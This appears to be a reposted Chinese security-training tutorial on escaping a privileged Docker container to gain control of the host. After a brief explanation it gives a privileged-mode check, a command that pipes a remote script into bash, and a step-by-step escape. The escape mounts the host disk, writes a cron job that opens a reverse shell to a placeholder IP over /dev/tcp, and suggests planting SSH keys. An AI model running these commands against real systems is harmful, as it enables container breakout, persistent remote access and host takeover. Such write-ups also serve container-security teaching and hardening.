0x00概述
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
0x01特权模式检测
-
手动命令行检测
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
-
脚本检测
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
0x02利用过程
1.首先以特权模式运行一个docker容器
docker run -it --privileged d27b9ffc5667 /bin/bash
2.查看磁盘文件(容器内)
fdisk -l
3.vda1存在于/dev目录下
4.新建一个目录,将/dev/vda1挂载至新建的目录
mkdir /nuoyan
mount /dev/vda1 /nuoyan
5、挂载后就可以访问宿主机目录
6.写入计划任务到宿主机
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root
7.开启nc监听,可以接收到宿主机反弹的shell
0x03其他思路
写ssh公钥文件
*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。
PS:雨笋教育开班通知,小笋们可以推荐给身边有需要的朋友哦
原文始发于微信公众号(雨笋君):docker特权模式逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论